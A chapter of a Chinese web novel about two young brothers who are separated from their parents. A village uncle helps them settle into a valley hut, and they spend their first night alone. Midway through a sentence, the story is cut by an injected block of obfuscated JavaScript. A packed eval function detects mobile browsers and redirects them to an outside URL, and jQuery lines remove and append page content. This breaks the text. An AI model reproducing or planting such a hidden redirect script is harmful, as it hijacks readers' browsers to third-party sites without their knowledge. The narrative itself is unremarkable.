灼热的太阳挂在天上,山谷内没有外面那么热,简陋空荡的木屋里,两个孩子靠在一起睡得香甜。
他们太累了。
这一觉从午时刚过睡到太阳下山,还是被王铁锤的嗓门吵醒的。
秦屿揉着眼睛起身,脚掌踩到地板的瞬间,血肉磨损的痛感让他嘶了一声,他缓了缓,试着避开伤口,步伐笨拙地来到门口,见是王铁锤,喊了一声:“锤叔。”
“是我,你们才醒?”
秦屿说道:“我刚醒,安安还在睡。”
闻言,王铁锤皱了皱眉,说道:“赶路是累,但不能睡太久,不然晚上睡不着。”
“啊,好的。”秦屿立即明白,道:“我去喊安安起床。”
他又动作笨拙,一拐一拐地回去了。
王铁锤见状问道:“脚磨破了?”
“是,已经擦过了,我们休息两天就能好。”
听着秦屿这话,王铁锤心里不太是滋味,这么乖的两个孩子,怎么就跟家里人走散了呢。
他无声叹了口气,将桌子放到屋里,说道:“你能教人读书认字的事情,村里人都已经知道了,没问题的话,我让他们明天就把孩子们送过来。”
不是他急着让秦屿教学,只是这两孩子,也就这么个营生能做着走了。
听见王铁锤这么说,秦屿神情一喜,“谢谢叔帮忙招呼了。”
“小事。”
王铁锤见聂怀安晕乎乎的,脑袋一砸又落到秦屿怀里,不由弯腰捏了捏他胖嘟嘟的小脸,骗他:“再不起来老鼠要咬耳朵了。”
“……叔叔骗人。”聂怀安不信。
王铁锤笑嘻嘻:“骗没骗你的,你睁开眼睛看看那是不是老鼠?来咯来咯,小老鼠过来了——”
聂怀安纠结着,不太想睁开眼睛,但也是真的怕老鼠,偷偷睁开眼睛往外看。
然后就发现一团黑影快速袭来,咬住了他的耳朵。
“呜哇——”
“哥哥救命,老鼠咬我耳朵呜呜呜——”
小孩哇的一声就哭了,四肢并用往秦屿身上爬,胖墩墩一个愣是把秦屿挤得仰倒,得亏王铁锤反应快服了一把。
秦屿哭笑不得:“没有老鼠,锤叔跟你玩呢,安安耳朵还在。”
“真、真的吗?”
聂怀安抽抽噎噎,伸出小手试探地摸摸耳朵。
王铁锤蹲在旁边无奈道:“看着你胆子挺大的啊,怎么还怕老鼠。”
聂怀安泪眼汪汪,控诉地看着他。
吓唬小朋友,坏。
王铁锤摸摸鼻子,哄他:“好了好了,叔叔错了,安安不哭好不好?”
“嗯。”
聂怀安吸吸鼻子,勉为其难地答应了。
可可爱爱的。
王铁锤捏捏他的小脸蛋,对秦屿道:“我看你们还有干净的水,你带他去洗洗脸,我先把东西都搬进来,晚点再给你们提一桶干净水。”
“好,麻烦叔叔。”
秦屿应声,连忙拉着聂怀安起身。
脚直接踩在地板上时,伤口格外疼一些,他们又用足袜包着捆紧了,然后才去拿帕子洗脸,又洗了抹布开始收拾旁边的厨房。
两个小孩怕耗费的时间太多,影响到王铁锤的安排,转着圈在厨房里忙活着,像两个小陀螺。
王铁锤费了些力气将床搬回厨房里,用稻草填满床铺凹陷处,然后铺上床单掖好边角,将轻薄的旧被子折好放在旁边,拎着其他东西来到厨房。
见两个小孩忙活着,他把锅里的脏水倒了放在灶台上,将其他零散物品放在旁边,让两个小孩自己收拾,“明儿你们烧点火试试,灶台漏烟的话,就去前头喊我,我给你们补一下。”
“好的,谢谢叔。”秦屿连忙应声。
王铁锤摇摇头,问他们:“都擦好了吗?我提水去。”
“擦好了~”聂怀安拧干洗干净的抹布,乖巧道:“锤子叔叔辛苦啦!”
“不辛苦。”
王铁锤捏捏他的小脸,将脏水混在一起后,拎着水桶出了门。
家里收拾得差不多了,两个小孩不知道还要做什么,蹲在屋檐下凑在一起认真嘀嘀咕咕。
说着说着,秦屿看见聂怀安扯小草的手,终于想起一件事,起身跑去拿王铁锤先前给他们拿过来的锄头。
聂怀安屁颠屁颠跟上,“哥哥,我们要做什么?”
“是哥哥弄,安安休息。”
秦屿拎了拎锄头,被那重量惊了一下,对聂怀安道:“哥哥要锄草,安安不要跟着,会被砸到的知道吗?”
“啊……好的叭。”
聂怀安很想黏着哥哥,但不太想挨砸,就乖乖应下了。
“真乖。”
秦屿瞧着他干干净净的小脸蛋,没忍住,学着王铁锤的动作,轻轻捏了下聂怀安的脸颊肉肉。
聂怀安捂住脸,“哥哥你学坏了。”
秦屿:“……”
他努力忍着笑,一本正经道:“这是喜欢安安,不喜欢才不会捏呢。”
聂怀安:“对哦……”
他陷入纠结。
肉肉脸被捏有点痛痛的,但大家捏他,似乎真的都是喜欢哎。
见他陷入沉默,秦屿努力扛起锄头,去收拾院子里的杂草了,聂怀安呆呆地蹲在原地,本来下意识想跟上,但想起哥哥说的话就又蹲了回去。
蹲久了,腿有点麻,他又挪到卧房门口,坐在了高高的木板地面上。
小孩人小小,腿短短,坐在卧室地面上,脚丫子一晃一晃挨不着地。
王铁锤拎着水回来看见这一幕,不由会心一笑,他将水桶放到厨房里,见秦屿锄草的动作有些笨拙,开口指导了几句,又示范了一遍。
秦屿很聪明,除了力气上有些欠缺外,挥舞锄头的动作还挺标准的。
“我回去了,你俩忙吧,明儿记得早点起。”
“好的,锤叔再见。”
“再见。”
王铁锤头也不回地摆了摆手,离开小院落的时候,顺手把简陋破旧的院门给合上了。
院子里再次只剩下两个孩子。
秦屿锄草锄累了,放下锄头回来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552307|204352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见聂怀安坐在卧房门口晃腿,干脆走过来道:“把鞋袜脱了,我再给你涂点药。”
“好哦。”
聂怀安闻言,自己动手脱鞋,解开绑着足袜的布带。
秦屿进卧室取出帕子和储藏格里的碘伏,蹲在弟弟面前认真地给他处理着伤口。
处理好,人也休息得差不多了,他又要去锄草。
聂怀安连忙拉住他,“哥哥也要涂药呀~”
秦屿:“哥哥先把院子收拾干净。”
聂怀安用力摇头,“不对哦,应该先不疼,然后再锄草。”
院子里多多的草不会影响他们的生活,可如果脚一直疼下去的话,肯定会影响到他们的。
秦屿愣了下,笑开,“安安说得对。”
“嘿嘿~”
聂怀安往旁边挪了挪,贴着门框给秦屿空出个位置,“哥哥也坐,我们一起休息呀!”
“好,一起休息。”
太阳早已落山,晚霞也没了踪影,凉爽的晚风吹过,带走恼人的躁意。
两个小孩坐在卧房门口,你挨着我,我挤着你,亲密无间。
夜幕逐渐降临。
月亮高悬于天空,洒下明亮的月光。
秦屿和聂怀安凑在一起,吃完了最后一个馒头。
夜色渐深,月光越发明亮,山林里响起野兽的嚎叫,与树叶沙沙声纠缠在一起,听起来有点阴森森的。
这是他们跟爹娘走散后,第一次独自过夜。
秦屿努力克制住自己的视线,不去看周围的山林,起身去拉聂怀安,“我们回房间睡觉吧。”
聂怀安怕虫,倒是不怕黑。
闻言道:“可是安安不困哎,一定要睡觉吗?”
“是的,明天我们还要早起,安安记得吗?”
“记得。”
“那走吧,跟哥哥进去。”
“……哦。”
小孩不太想睡,有点想撒泼打滚,但看哥哥表情苦苦的,一副很累的样子,他就又乖巧了起来,顺着秦屿的力道起身。
卧房门关上,门闩落下的响声带来些许安全感。
山谷里的凉爽是相对的,躺在稻草铺就而成的床上,两人不一会儿就出了点薄汗,秦屿又爬起来,将窗户打开了一条小小的缝,将风放进屋里。
聂怀安翻来覆去睡不着,缠着哥哥讲故事。
手里没书,秦屿记得的故事内容有限,说着说着就开始胡编乱造,好在弟弟够笨,没有听出来。
故事说到后面,声音渐渐小了下去。
聂怀安抬头一看,见哥哥已经睡着了,嘀咕了一句什么,靠在他怀里哼唱着不成曲调的安眠曲:“儿眠儿眠娘有愿,愿儿岐?无灾患……”
儿眠儿眠娘有愿,愿儿岐?无灾患。
探雏趁蝶不嬉游,东家躯干硕且曼。边生便腹书编万。
閒来玉雪口中喷,儿兮儿兮娘无闷。寣寣哑,誽誽讴。
稚嫩的童声飘出窗棂飘向月亮,渐渐与记忆中温柔的女声重合在一起,一声声,一句句,都是对孩子的期盼与牵挂。